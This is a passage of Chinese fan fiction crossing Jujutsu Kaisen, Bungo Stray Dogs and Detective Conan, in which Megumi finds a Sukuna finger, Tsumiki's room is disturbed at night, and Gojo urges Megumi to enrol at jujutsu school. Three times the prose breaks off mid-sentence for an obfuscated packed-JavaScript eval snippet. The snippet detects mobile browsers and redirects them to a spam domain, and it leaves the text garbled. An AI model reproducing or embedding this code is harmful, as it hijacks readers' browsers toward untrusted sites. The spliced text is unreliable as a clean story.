听到伏黑惠的呼喊,他转过头来,没被绷带缠住的那只鸢色眼眸闪了一下。 “是伏黑君啊。喊得撕心裂肺的,我还以为是走夜路遇见鬼了,”太宰治垂下手掌,失落地说,“不是有那种说法吗?半夜如果听到有人喊你的名字不要回头,否则就会被怨灵带走!我还蛮想尝试一下的。” 伏黑惠没有接话,他警惕地环视四周,试图找到藏起来的咒灵。 “伏黑君在找什么?”太宰治抱着纸袋歪头,表情格外乖巧。 咒灵的残秽到这里就消失了,伏黑惠仔细观察了四周,什么也没有找到,就像有人突然用橡皮擦去了咒灵的存在一样。 “……你刚刚有没有看到什么东西从这里经过?”他谨慎地询问。 “东西?嗯……啊!” 太宰治猛地一锤掌心,在伏黑惠骤警觉的视线里说道:“刚刚有一把刀,突然就从那条巷子里飞出来了!然后‘叮——’地一下就钉进了对面的墙里!” 伏黑惠表情一僵。 “我离那把刀就两步远!真是太可惜了!如果我快走两步,现在就已经到黄泉比良坂了!” 伏黑惠手握拳放在嘴边,轻咳了两下。 “也不知道是哪个乐于助人的好心人想帮我实现愿望,都怪我没抓住机会,要是能再来一次就好了!”太宰治手舞足蹈地比画着刚刚一把刀从他面前飞过的场景,怀里的袋子一个没拿稳掉了下来。 “啊,掉了。”太宰治停下讲解弯腰去拾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740206|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我拿吧。”自觉心虚的伏黑惠觉得自己应该做些什么。 他制止了太宰治的行动,走到太宰治身前蹲下,伸手去拿掉落的纸袋。 “!!!” 手指碰触到纸袋的一瞬间,一股强大的咒力直冲他的心脏!似乎有一只猩红的怪物张开血盆大口向他扑来! 他表情一变,抓着袋子底部将它倒过来,里面的东西纷纷倾倒而出! 在抖落了几件黑色小洋裙后,一根猩红干瘪的手指滚落在地上! 伏黑惠瞳孔震颤!是两面宿傩的手指! 他大脑有一瞬间的空白。为什么会有特级咒物?为什么会在太宰这里?是有人故意放在袋子里的?为什么?什么人要害他? 无数信息和疑问纷至沓来,压得伏黑惠几乎不能思考。 “伏黑君把莉帕的衣服弄掉了,小心她揍你哦,小东西拳头打人超疼的。” 头顶传来太宰治的抱怨声,伏黑惠回过神来,借助身体的遮挡将手指扔进了影子里。 “……莉帕很懂事,你不去招惹她她不会打你。”抖抖衣服上的尘土重新装进袋子里,伏黑惠表面上恢复了镇定。 他最后观察了一眼四周,平静地招呼太宰治回家:“再乱跑我就会揍你。” “哎~伏黑君好过分!” 天色已经完全暗了下来。 伏黑惠找机会收回了咒具,一手提着手提袋,一手提着太宰治,手腕上还绑了一个气球,一路磕磕绊绊地回了家。 回来的路上太宰治也不消停,几次逃跑都被伏黑惠抓了回来,最后被揪着衣领拖行了一路。 看到家门口灯光的那一刻,伏黑惠松了口气,终于到家了。 他把外套还在滴着水的少年扔进家门,感觉卸下了一个重担。这一路上他又要警惕可能会出现的袭击,又要注意太宰治的动向,一个头两个大。 带太宰出门比遛狗还要累,这种体验他再也不想有第二次了。 “我们回来了。”他从玄关换了拖鞋,提着东西走向客厅。 客厅里亮着暖黄色的灯光,沙发上只有莉帕一个人在坐着看电视。听到响动,银发萝莉跳下沙发跑过来迎接。 “欢迎回来,惠辛苦了。”她接过伏黑惠手里的手提袋放好,然后迈动小短腿端茶倒水拿点心。 一团灰色的不明物体趴在地板上顾涌进了客厅,在身后留下了长长的湿漉漉的水痕。 太宰治抬起头,黑色的发丝粘在脸上,语气森森地说:“我呢?莉帕好偏心,你的衣服可是我帮你取回来的……” 莉帕端着蔓越莓饼干看了他一眼,问伏黑惠:“家里什么时候养泥鳅了吗?” 伏黑惠:“没有,我一会儿就把他清理掉。” “我要向淡岛夫人告状……就说你们两个排挤我。”从海藻一样的发丝缝隙里露出一只黑洞洞的眼睛,太宰治阴恻恻地威胁道。 “咔嚓——” 莉帕松开手,碎成粉末的饼干屑从手里散落,她表情凶恶地威胁:“那我会把你揍成小饼干。” 太宰治“哈”了一声:“比你个头还小的小饼干吗?” 眼看着两人又要打起来,伏黑惠及时撤离战场:“淡岛夫人呢?” 莉帕在变成炮弹发射出去之前回复他:“在书房!” 得到答复的伏黑惠走出客厅,留下身后噼里啪啦的打斗声。 8. 第 8 章 “咚,咚,咚。” 书房的门不轻不重地响了三下,伏黑惠略微提高了声音,以确保房间内的人能听到。 “淡岛夫人,我可以进来吗?” 过了几秒,房间内传来了模糊的回应。 得到允许后,伏黑惠扭动门把手推开了门。 书房里只有桌子上亮着一盏光线微弱的台灯。照亮了书桌前的一小块区域,一本翻开的书籍和纸笔一起摆在桌面上,旁边还有一副浅灰色的耳机。 淡岛夫人坐在书桌前,正抬手在收音机上按下关闭键。 她的发型有些凌乱,刚刚应该是戴着耳机在听广播。 这个时间电台通常会播放一些植物科普知识,淡岛夫人一直对这些很感兴趣。 “怎么不开灯?”伏黑惠按亮了书房的电灯,眉头微微皱起表示不赞同。 淡岛青理将书桌上的纸张夹进书里,闻言有些心虚。 这不是伏黑惠第一次指出这个问题了,然而她就是改不了。昏暗的环境会给予她安全感,让她的大脑更加清醒灵活。 但是这么回答肯定是不行的,淡岛青理选择示弱。 “我错了,这样对眼睛不好,我下次一定记得开灯。” 其实下次也不一定。 她将手里的书塞进桌面上的小书架里,转移话题:“衣服已经取回来了吗?惠有试过吗?合不合身?惠最近个子长得很快,也不知道我给店长的参考数据对不对。” “在店里试过了,很合身。” 伏黑惠走到她面前站定,扫视了一眼凌乱的书桌,声音十分冷静:“我记得我昨天刚收拾过一遍。” “哎呀,”淡岛青理眨眨眼,故作无辜,“那一定是惠酱记错了。” 伏黑惠不和她计较,“我来是想问一下,你跟‘WAVE洋装’的店主认识吗?” “嗯……只是定制衣服的时候说过几句话,算不上认识。怎么了吗?是莉帕的衣服出了问题?” “没有,”伏黑惠回答,“莉帕的衣服太宰已经取回来了,并没有什么问题。不过太宰说,他到达店里的时候店内是空的,一个人也没有。装着莉帕衣服的纸袋被放在柜台上,上面贴了一张写有你的名字的便利贴。” 淡岛青理微微蹙眉:“哎?一个人都没有吗?会不会是在员工室呢?或者有事出去了?” 伏黑惠摇摇头:“不清楚。你有店长的联系方式吗?发给我吧。太宰一声不吭地拿走了衣服,总要跟店长说一声才是。” 淡岛青理表示同意,直夸伏黑惠想得周到。 在如愿拿到洋装店店长的电话号码之后,伏黑惠眉头一皱就催着她去睡觉。 “已经接近十二点,淡岛夫人该去睡觉了,否则你明天早上又起不来了。” “哎?” 淡岛青理被推着离开书房走向卧室,她路过拐角的时候用力扒住墙壁,试图挣扎一下:“等一下惠酱,我又不用上班,才不需要早起,让我再看一会儿……” 面对她的祈求,伏黑惠表现出了铁石心肠:“不行,请明天早点起床送莉帕去上学。自从把莉帕接回来后,你每天都喊着要送她去上学,结果从来没起来床过,你也该兑现一下承诺了,请不要看莉帕年纪小就敷衍她。” 淡岛青理为自己辩解:“不是啊,是莉帕不想我送她上学的,真的啦!” 不管她怎么说,伏黑惠都没有改变主意,一路将她带到了卧室门口,替她打开了房门。 “惠酱越来越不可爱了……”女人站在门内,鼓着腮帮碎碎念着,不服气的样子简直和莉帕一模一样。 走廊的灯光将门外少年的影子拉长,漆黑的阴影打在女人脸上。 伏黑惠发现,自己已经同淡岛夫人一般高了。 意识到这点之后,少年冷淡的表情微不可察地柔和了几分。他的视线垂落,浓密的睫毛给深蓝色的眼眸打下了一层阴影。 “晚安,淡岛夫人。” “嗯……晚安?”敏锐地察觉到伏黑惠情绪的变化,淡岛青理疑惑地歪了歪头。 …… 是夜,弯月高悬,夜色宁静。 米花町三丁目的一户住宅内突然响起了一声巨大的玻璃碎裂声,沉睡的少女猛然惊醒! 仿佛从耳边炸响的声音惊得她的心脏剧烈跳动,惊魂未定之下,她将手伸入枕头下,警惕地环顾左右。 安静的卧室内并没有出现第二个身影,一片黑暗中,她看见床对面的梳妆台翻倒在地,镜面在遭受重击后碎裂,月光映照下满地斑驳。 她听到卧室外有人奔上楼梯的声音,紧接着,她的房门被敲响了。 “津美纪小姐!发生什么事了?刚刚是什么声音?你还好吗?” 伏黑津美纪摸了一下锁骨,那里的皮肤不知为何正在发烫。她抄起一件外套披在身上,下床穿鞋,小心地绕过地上的镜子碎片打开了门。 昨日刚刚搬进来的,有着一头粉色短发的高大青年正焦急地站在她门前,抬起的右手保持着叩门的姿势。 看到房门被打开,青年明显地松了一口气,放下手询问:“抱歉,我刚刚听到一声很大的声响,是出了什么事吗?” 开门的少女在白色睡裙外罩了一件宽大的黑色外套,似乎有些受到惊吓,脸色与裙子一样白。 “不好意思,冲矢先生,我的化妆台不知道为什么突然倒了,惊扰到您很抱歉。” 少女的语气中带着些恍惚,似乎还没从惊吓中缓过神来。 “没关系,津美纪小姐人没事就好,我还以为是有人闯入了,”眯眯眼青年睁开一只眼睛,“不过梳妆台怎么会突然倒塌呢?是不是木材被腐蚀了?方便让我进去看一下吗?” 伏黑津美纪微微侧身,苍白的脸上扯出一抹笑意:“如果不麻烦的话,请进。” 得到允许的青年道了一声“失礼了”,接着就进入了伏黑津美纪的卧室。 伏黑津美纪和这栋住宅的主人工藤夫妇关系非常不错,在住进来时得到了工藤夫人藤峰有希子的许可,可以对这间客房进行改造。 所以第一次进门的青年就见到了与他所居住的客房截然不同的一间充满少女心的卧室。 ……没想到津美纪小姐对外表现一直很成熟,私底下竟然这么有童趣。 并非他有意探究女性的私人领域,只是那些堆在墙角、挂在墙上、占满飘窗、摆在床头的各种玩偶实在让人很难忽略,林林总总加起来竟然有数十个。 当然,他并没有对此表现出过多关注,径直走向了翻倒在地的梳妆台。 “地上有一些镜子碎片,请小心脚下。”走在身后的津美纪出声提醒。 原本靠墙的梳妆台向前扑倒在地,木质的柜身已经出现了裂痕,四周散落着大量镜子碎片。贴着米黄色壁纸的墙壁上有一些坑洼,似乎曾经遭受过磕碰。 青年将梳妆台扶起来,发现下面也压着许多镜子碎片,大部分碎片都是涂在背面的反射层朝上,但也有几片较大的碎片是镜面朝上。 化名为冲矢昴的FBI探员赤井秀一立刻就做出了判断。不对,梳妆台不是自己倒下的,而是在经历了撞击之后才倒下的。 有人以极大的力气撞上了摆放在墙边的梳妆台,在墙体上留下了磕碰的痕迹,同时压碎了梳妆镜,镜子碎片迸溅开来。而在那人移步之后,经历了重击重心不稳的梳妆台才向前扑倒在地。 有人闯进来过。 冲矢昴的视线移到了攥着外套的少女身上。 按理说,在那人撞到梳妆台一瞬间,床上的少女就应该惊醒,那么她肯定看到了犯人的身影,至少是背影。而从刚刚的对话里她完全没有透露出来这些信息,为什么? 是真的什么都没有看见,还是选择替犯人隐瞒?难道说,犯人还在屋子里,用什么手段威胁了津美纪小姐? 思考的同时,他一直在观察少女有没有什么和平时不同的地方,是不是遭到了胁迫。但除了脸色此平时苍白一些,他并没有观察到异常。 突然,他的视线在少女的锁骨处停住,似乎有一点金色的痕迹从外套领口处露了出来。 “津美纪小姐,那是什么?”他眯着眼睛发问。 少女疑惑地低头看了一下,什么都没发现:“冲矢先生是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740207|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指什么?” 在她低头的瞬间,那抹金色消失不见了。 “……不,可能是我看错了。”冲矢昴冷静地说。 “津美纪小姐,刚刚屋子里只有你一个人在吗?” “是的,”伏黑津美纪略显犹豫地说,“我在睡梦中听见了一声巨大的响动,也以为是有小偷进来了,但是睁开眼什么人都没有看到。” 冲矢昴低头沉思,他对自己刚刚的判断也开始有些不确信。 飘窗上的玩偶摆得十分整齐,不像有人从窗户进来过。刚刚津美纪小姐给他开门的时候,也听到了明显的开锁声,说明门锁是完好的。 那么犯人究竟是从哪里进来的呢?是在白天房门打开的情况下趁着没人注意溜进来的吗? 不可能,他今天白天一整天都在家,不可能发现不了家中进了人。犯人总不会是穿墙而入吧? “津美纪小姐,不知道你介不介意我搜查一下屋子。”不管怎样,现在最好先确定犯人还有没有藏在室内。 伏黑津美纪松了一口气:“谢谢您冲矢先生,我不介意,不如说感谢您的帮忙,否则我今晚都不能安心入睡了。” 冲矢昴先后检查了浴室、衣柜、还有床底,都没有发现什么异常,他的视线在不大的卧室中转了一圈,落在了堆在角落的玩偶身上。玩偶的数量很多,大大小小挤在一起堆成了一座小山,个头小一些的人蜷缩起身躯,完全有可能躲在玩偶堆里。 他绷紧了身体向那堆玩偶走去。 “等一下冲矢先生,”披散着黑色长发的少女拦住了他,“这里我自己检查好不好?” 冲矢昴安静地后退了一步。 黑发少女用双手小心翼翼地捧起玩偶,将它们一个一个地挪到一边,不一会儿,一座玩偶山就铺平了。一排排玩偶整齐地摆放在地板上,至于犯人,当然不在其中。 “看来是我多心了,”粉发青年笑了一下,“不好意思津美纪小姐,让你折腾这么半天。” “没有没有,”津美纪连连摆手,“我知道您也是为了我的安全着想,真的十分感谢您。知道没有人藏在这里之后安心多了,我也能放心地睡个好觉了。” “那么我和你一起把地上的碎片收拾一下,然后尽早休息吧,其他的事情明天再说。” “非常感谢!” 两人拿着清扫工具收拾地上的镜子碎片,将这些可能扎伤人的小东西通通扫进垃圾桶。冲矢昴还用胶带将床边的地板粘了一遍,以免一些看不见的碎片在津美纪下床的时候扎伤她的脚。 在他处理地板期间,津美纪抱着地上的玩偶将它们一个一个摆回原位,不一会儿一座和之前一模一样的玩偶小山再次出现在角落里。 “津美纪小姐很喜欢玩偶吗?”冲矢昴在粘完地板后一抬头,就看见少女双手捧着一个圆滚滚的青冠雀玩偶,毕恭毕敬地将它放在了玩偶小山的最顶端。 “也不算啦,”调整了一下玩偶的角度,伏黑津美纪回头笑了一下,“只是这些都是妈妈送给我的,所以我很喜欢。” 冲矢昴知道她说的妈妈是谁。 在他住进来之前,他就已经通过多种途径将伏黑津美纪的信息调查清楚了。 一位在幼年就失去父母,和继弟一起被收养的少女,伏黑津美纪过去的一切都有迹可查。她是一个普通无害的女孩,在母亲和弟弟妹妹搬到横滨后,为方便上学和打工借住在关系亲近的工藤家。 FBI没有从她的档案里发现任何疑点,所以冲矢昴在再三考虑之后才会同意住进已经居住了一个人的工藤宅。毕竟这里离对面阿笠博士的住宅很近,宅邸的主人工藤夫妇也清楚他的情况。如非必要,他不想另寻住处。 将地上的碎片全部处理好,他起身和伏黑津美纪道了别。 “今天请安心休息吧,明日我帮你把梳妆台清理掉。”他对少女说。 实木打造的梳妆台对女生来说还是太过沉重了,搬运起来很困难。 “没关系,”伏黑津美纪微笑,“我会让我的弟弟来帮忙的,今天给您添麻烦了。” “晚安,祝您有个好梦。” 9. 第 9 章 对于横滨来说,这是一个难得没有枪声和火光的夜晚,所有人都沉入了梦乡,享受这久违的安眠。整片街区都没入了黑暗里。只有街边零零散散的路灯还亮着的光。 淡岛家也是一样,二层小楼安静地伫立在黑暗中,与夜色融为一体。 “咚咚” 突然从某一扇窗玻璃处传来了微弱的敲打声,紧接着窗户被打开,一双手飞快地伸出将窗外的人拽了进去,然后迅速合上了窗户。 “不是跟你说了不要敲窗户吗?”卧室里没有开灯,只有微弱的月光从窗户照射进来。一片昏暗中,伏黑惠坐在床边,略显无奈地皱着眉。 在他对面,身形高大戴着眼罩的白发青年非常不见外地霸占了他的椅子,听到他的质问后随意地挥挥手:“哎呀,不要在意那些细节!毕竟帅气的五条老师可是亲自来见你了!惠酱是不是很感动啊?” “并没有那回事,”伏黑惠熟练地否认,“还有请小声一点,太宰就住在隔壁,别把他吵醒了。” “哦哦哦哦!我明白!”五条悟压低了声音激动地说,“是那个那个吧?就像黑b电影里演的一样!我们在进行的是见不得人的交易,不能被人发现!所以惠酱你的货带来了吗?” “请您认真一点!”伏黑惠按捺住自己想要放狗咬人的心,从影子里拿出被符咒包裹的宿傩手指。 伏黑惠:“符咒是我贴上去的,只能封印一会儿,还得麻烦五条先生尽快带回高专重新封印。” 干瘪的手指落入手中,五条悟的表情严肃了几分。他向上扯了扯眼罩,露出比天空还要璀璨的苍蓝色眼瞳,仔细观察着手里的手指。 “确实是两面宿傩的手指,你是在哪里发现的?” 伏黑惠给他详细讲述了傍晚时候的遭遇,并分析道:“现在回想起来,那个咒灵应该是吞噬掉了其它被咒物吸引来的咒灵才会变得那么强。它一直追在太宰身后,也是因为感受到了他身上有特级咒物的存在。” “嗯……”五条悟双腿交叠,一手上下抛扔着宿傩手指,一手抚摸着下巴做思考状。 “重点是手指的来历和咒灵的去向,”他表情夸张,故作惊疑,“竟然就那么‘咻’地一下消失了,一点痕迹都没留下,难道咒灵也会瞬移吗?这难道不是五条老师我独有的技能吗?” 伏黑惠拿出手机翻出淡岛夫人给他的电话号码,复制发送给五条悟:“可以肯定的是,宿傩手指一定是被人故意放进去的,这种东西没有可能意外出现在服装店里。但还有一点能不能确定,太宰说当时柜台上不只有淡岛夫人定制的衣服,还有几个写有别人姓名的纸袋。那么来人究竟是随机选取了一个袋子投放宿傩手指,还是目标明确,就是冲着我们来的呢?” “再进一步说,如果是目标明确地将手指藏在淡岛夫人定制的衣服下,那么是为了针对谁?我?太宰?莉帕?还是……淡岛夫人?” 说到最后一个称呼,伏黑惠握着手机的手猛然攥紧,深蓝色的眼底如同深海,一片晦暗。 “放轻松放轻松,”五条悟不知道什么时候坐了过来,伸手拍了拍他的肩,“这里可是有靠谱的五条老师在呢,无论什么阴谋诡计都不会让他得逞的!毕竟老师我可是最强啊!” 他侧着身子把大半的重量都压在伏黑惠身上,语气中带着安抚:“而且我觉得肯定不会是针对青理酱的,她只是个普通人,随随便便一个咒灵就能要了她的命,怎么想也不至于拿出宿傩手指来害她吧?未免太小题大做,背后之人究竟是多小心眼才能干出来这种事啊!” 伏黑惠对他的推论不置可否。 “刚刚津美纪给我发了消息,似乎遭受了不明人士的袭击,可能也是咒灵,我认为操纵咒灵袭击津美纪的人与投放宿傩手指的人应当是同一个。” 五条悟坐直了身体:“津美纪遇袭了?她没事吧?” “她只是受到了一点惊吓,没有什么事。” “那就好,不过为什么说‘可能’是咒灵呢?” 伏黑惠眉头微微皱起,也有一些想不通:“从津美纪的描述来看,袭击她的应该是咒灵没错,但是我留给她的防护咒具没有被触发。” “嗯?”五条悟快速眨眨眼,“防护咒具没有被触发,津美纪也没有受到伤害,那咒灵是来搞笑的吗?”大半夜的来碰瓷? “我不知道,但可以肯定的是有人盯上我们了。”伏黑惠面色阴沉。究竟是谁?又为了什么? 五条悟见他一副如临大敌的模样,忍不住伸手揉了一把他炸起的头发。 “安心,一个只能在背地里捣鬼连脸都不敢露的家伙,绝对不会是五条老师我的对手!我会请冥冥调查一下最近诅咒师那边的动向的。” 说着,他突然想起来什么:“说起来,我还没见过你说的‘太宰’和‘莉帕’呢。‘莉帕’我知道,是半年前青理酱找回来的亲生女儿,‘太宰’又是哪位啊?” 被他这么一打岔,伏黑惠也从刚刚的情绪里走了出来。 他抖落五条悟搭在他头顶的手,平静地说:“太宰是淡岛夫人来到横滨之后新收养的孩子,比我小一岁,很讨淡岛夫人喜欢。” “哎?!”五条悟大为震惊,“很讨青理酱喜欢是有多喜欢?我难道不是青理酱心中排名第一的那个了吗?!” 他一下子坐直了身子,感觉到了事态的严重性!他只是最近到处奔走出任务忙碌了一点,也就半年没来看望小青理而已,悟酱的地位就这么被人趁虚而入夺走了吗?!那他每天给小青理发的三十条短信算什么?! 伏黑惠:“……这是谁统计的排名?” 五条悟:“当然是悟酱我啊!” 伏黑惠:…… 浑身散发着怨念的五条悟还在碎碎念:“青理酱怎么每到一个地方就要多出一个孩子,她是在集邮吗?在埼玉县收养了你和津美纪,搬到米花后找到了自己的亲生女儿,现在来到横滨没几天又多了一个‘太宰’!以后绝对要禁止青理酱搬家,再这样下去悟酱的地位就摇摇欲坠了!” 他突然握拳,起身就是一个冲刺:“不行,不能坐以待毙,我现在就要去找小青理!” 伏黑惠眼疾手快地揪着他的衣摆把他拽了回来:“你清醒一点!淡岛夫人早就睡了,你难道要把她从床上摇起来吗?” 深呼吸一下压压火气,伏黑惠按了按眉心,提醒他:“你的手机一直在振动。” 从刚刚开始,五条悟口袋里的手机就一直在响。 五条悟掏出手机看了一眼,脸色立刻难看了几分:“啊,又在催我出任务了,这个世界离了五条老师我是转不了了吗?”他恶狠狠地按灭手机,向旁边一扑趴在了伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740208|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑惠的床上。 “怎么办啊惠酱,那群老橘子当我是牛马,发下来的任务简直没完没了!都是因为他们我才不能找青理酱玩的!” 伏黑惠臭着一张脸,两只手用力想把他从床上拽起来:“请不要穿着外衣躺我的床。” 五条悟如同生根一般趴在床上,任凭他如何拖拽都纹丝不动,“有什么关系?五条老师我可是有无下限,身上又不会有灰尘!” 努力了半天也没能把人从床上拽下来,伏黑惠只能放弃,不爽地说:“咒术界除了你没有别人了吗?其他人在做什么?” “其他人也都有各自的任务啊,虽然很难启齿,但咒术界就是这么缺人啦!” 伏黑惠:“为什么不扩招生源呢?难道具有咒术天赋的人就那么稀少吗?” 提到这个话题,五条悟冷笑了一声。 “这就要问坐在高台上慢慢腐朽的那群老橘子们了,当然,御三家领头的那几个老家伙也不是什么好东西。啊,五条老师我除外哦。” “在把咒术作为资源的高层眼里,记载咒术的文献和锻炼咒术的方法都是他们手里的财富,这些财富铸就了他们现在的地位,他们怎么肯轻易把这些教给外人呢?非御三家出身的咒术师往往会受到更严苛的审查,甚至有可能是刁难,这也就导致能出任务的咒术师格外稀少。” “所以,”五条悟坐直了身躯,望着伏黑惠认真地说,“惠来咒术高专上学吧,可怜可怜老师我,让我招到至少一个学生吧!” “……我说过,我不想成为咒术师。”伏黑惠坐在床边,眼睑低垂。 关于这件事,很久之前他就已经表明过态度了。 “为什么?!”五条悟难以接受,成为五条老师的学生可是别人求都求不来的好事!这还需要犹豫吗?! “因为我不能离开淡岛夫人。” 伏黑惠认真地回答。 他抬起头,深蓝色的眼瞳直视着五条悟:“我说过,我没有什么拯救世界的觉悟,我想保护的只有我在乎的人。如果成为咒术师就意味着要离开他们,那对我来说才是本末倒置。” 东京咒术高专地处偏远,交通并不方便。而且一旦入学,就意味着他会再次走进咒术界的视野,那么无论是从通勤还是淡岛夫人的安全方面考虑,他都不适合再频繁回家了。 入学后他的时间会被训练学习以及祓除咒灵所占据,他不能再时时刻刻地保护淡岛夫人,也不会再有时间去看望津美纪。还有太宰和莉帕,没有他的照顾,他们要怎么办呢? 他理解五条先生的想法,也明白他的期盼。在大家看来,拥有十种影法术的他是天生的咒术师,注定要走上祓除咒灵的道路,因为他拥有着别人求而不得的珍贵术式。可是在他看来,这份力量唯一的用途就是保护他在乎的人,至于咒术师的责任,与他无关。 他的目光传达了他的想法,五条悟在对上他的视线后收敛了表情。 白发青年低头凑近,直直地望进少年的眼底,像是要窥探他的全部思绪。 “但是如果不成为咒术师掌控这份力量,你又拿什么去保护他们呢?” 青年毫不留情地指出:“如果惠你足够强,那么昨晚面对那只一级咒灵的时候不依靠其他式神也可以将它祓除,也就不会让那个少年陷入危险了,不是吗?” 10. 第 10 章 或许五条悟在大多数时候都是不着调的,但是没人能怀疑他那一双眼睛。 对于伏黑惠,他有着很高的期许。 “你所拥有的术式是与‘六眼’齐名的术式,它的潜力远不止于此,而你也一样。惠,这世上的危险远比你想象得多,你没办法做到面面俱到。你能做的只有尽可能的变强,强到让别人畏惧。只有那样,旁人在铺设阴谋诡计之时才会度量与你为敌的代价。” 五条悟难得认真地说了一长串话,气氛一时之间格外严肃。 伏黑惠没有回应,他低着头,眼底一片晦暗,指尖掐入掌心。五条悟的话语还在脑海里回荡,他咬紧了牙关,没有开口反驳。 不是的,不是那样的。 即使他变得更强又能怎么样呢?他不会比五条先生更厉害了。 而即使是最强的五条先生,不还是没有守住自己在乎的人吗? 一些阴暗的念头在脑海里盘旋,他知道这些话很过分,所以他忍住没有说出口。 只有寸步不离的保护才可以,只有待在她身边…… 五条悟似乎又开口说了些什么,但是伏黑惠已经听不见了。 四周的温度在上升,似乎有火光在他眼前闪烁,他抬手捂住耳朵,但是嘈杂的嘶吼和呐喊声还是传入了他的大脑。 ‘烧死她!烧死她!’‘都是她的错!’‘她是魔鬼!那两个孩子也是恶魔!’ 拥挤的人群,挥舞的火把,还有不知是谁的哭喊声…… 伏黑惠蜷缩成一团,头痛欲裂! 五条悟第一时间发现了伏黑惠的异常,他拽着伏黑惠的手臂:“惠?惠!你冷静一下!”他没想到自己的话会刺激到伏黑惠,一时之间手足无措,刚刚营造的严肃形象荡然无存。 “没事了,没事了,大家现在都很安全。青理在安稳地睡觉,津美纪也过得很好……”他不停地拍打着伏黑惠的脊背,试图让他冷静下来,但收效甚微。 突然,五条悟停下动作收敛声音,目光直直地投向卧室门口。 房间内一片安静,只有伏黑惠同缺氧的鱼一般在大口大口地呼吸。 过了两秒,卧室的门被敲响了。 “咚,咚,咚”的三声间隔一致,在漆黑的卧室里格外响亮。来人等了一会儿没有收到回应,又不紧不慢地敲了三下。 五条悟没有出声。 门外的人似乎认定卧室里的人没有睡,拖长了声音开口:“不说话我就进来了哦。”接着就是一阵细微的金属摩擦的声音,那人竟然打算直接撬锁。 在五条悟思考是躲起来还是堵门的时候,蜷缩着的少年已经抬起了头。他似乎已经恢复了冷静,除了额角的汗珠与平时别无二致。 卧室的锁孔处有微小的振动,很快就发出了咔哒的一声轻响。银色的门把手下压,在来人推开门之前,门先从屋内被打开了。 伏黑惠握着门把手站在门边,顺手按亮了卧室的灯。 “大半夜不睡觉,怎么了?”他半阖着眼睛,语气中带着被吵醒的困倦。 卧室门前的走廊上站着的不出所料是太宰治,他穿着淡岛青理买的小熊睡衣,手里还捏着两根没来得及收起来的铁丝。 对上伏黑惠垂下的目光,他非常自然地收起铁丝,眯着眼睛打量伏黑惠。 身形瘦高的少年只露出来了半个身子,身躯遮挡了屋内投射出的光线。身上白色的家居服有汗湿的痕迹,原本翘起的黑发也垂落下来遮住了眼睛。倒是他脸上的表情,一如既往的冷淡。 被太宰治的目光扫视,伏黑惠握着门把手的掌心攥紧,感觉到一种像是被剖开大脑的不适感。 “我听到你房间里有说话声,吵到我睡觉了。”观察完毕,太宰治睁着无辜的眼睛控诉到。 “……你听错了。”伏黑惠十分冷静。 淡岛夫人是一个很注重隐私的人,在重新装修的时候特别关注了房间的隔音设施,不存在吵得别人睡不着觉的情况。多半是太宰听到一些模糊的动静,然后借题发挥。 太宰治:“哎?我不信,你一定在房间里藏了小秘密!”他鸢色的眼睛直直地看着伏黑惠,仿佛能穿透他看到室内的景象。 伏黑惠不为所动,“没有什么秘密,请你快点回去睡觉,实在睡不着可以去把衣服洗了。” 假装没听到伏黑惠的提议,太宰治嘴角勾起一个危险的弧度,低声说:“看来伏黑君有事瞒着我啊,真是让人伤心。既然这样,我就只能自己想办法进去看看了。” 在伏黑惠逐渐警惕起来的目光中,太宰治从身后拿出了……一个闹钟? 太宰治把手放在脑闹钟的按钮上,发丝遮住脸,发出两声阴险的笑:“哼哼,这可是我亲手打造的超级无敌精神活力闹钟!只要按下去,半个街区都会被吵醒!到时候不管你屋子里藏了谁,都别想跑!要试试社死的感觉吗?伏黑君?” 伏黑惠:“……你哪来的材料?”谁给他买的这些东西?! 太宰治:“你别管,我要按了哦,我真的要按了哦!” 他咧着嘴角盯着伏黑惠,手指逐渐靠近按钮,表情邪恶得像是要引爆地球。 “请住手,”伏黑惠最终还是妥协了,侧身彻底打开房门,“我的房间里没有什么秘密,但既然你想看就请进吧。” 太宰治表情遗憾地收起了闹钟,大摇大摆地从伏黑惠旁边经过,走进了他的卧室。 伏黑惠的卧室很整洁,基本的装潢——比如地板和墙纸这些与他的卧室相差不大,看样子卧室主人没有做过特别的改动。房间里摆放着一个小书桌,还有一个靠墙的书柜,书柜里整整齐齐地排列着许多书。除此之外还有一些网球拍,游戏机之类的东西,也都分门别类地整齐归纳着。 靠窗的位置摆放了一张单人床,换下来的衬衫和西裤挂在床尾的挡板上。铺着蓝色床单的床铺非常平整,没有一点褶皱。就像有人用熨斗熨过一样,看不出丝毫使用痕迹,连枕头都被拍得饱满又蓬松。 太宰治:………… 这也太刻意了!生怕别人看不出来有问题吗?! 他开始怀疑来人的智商。 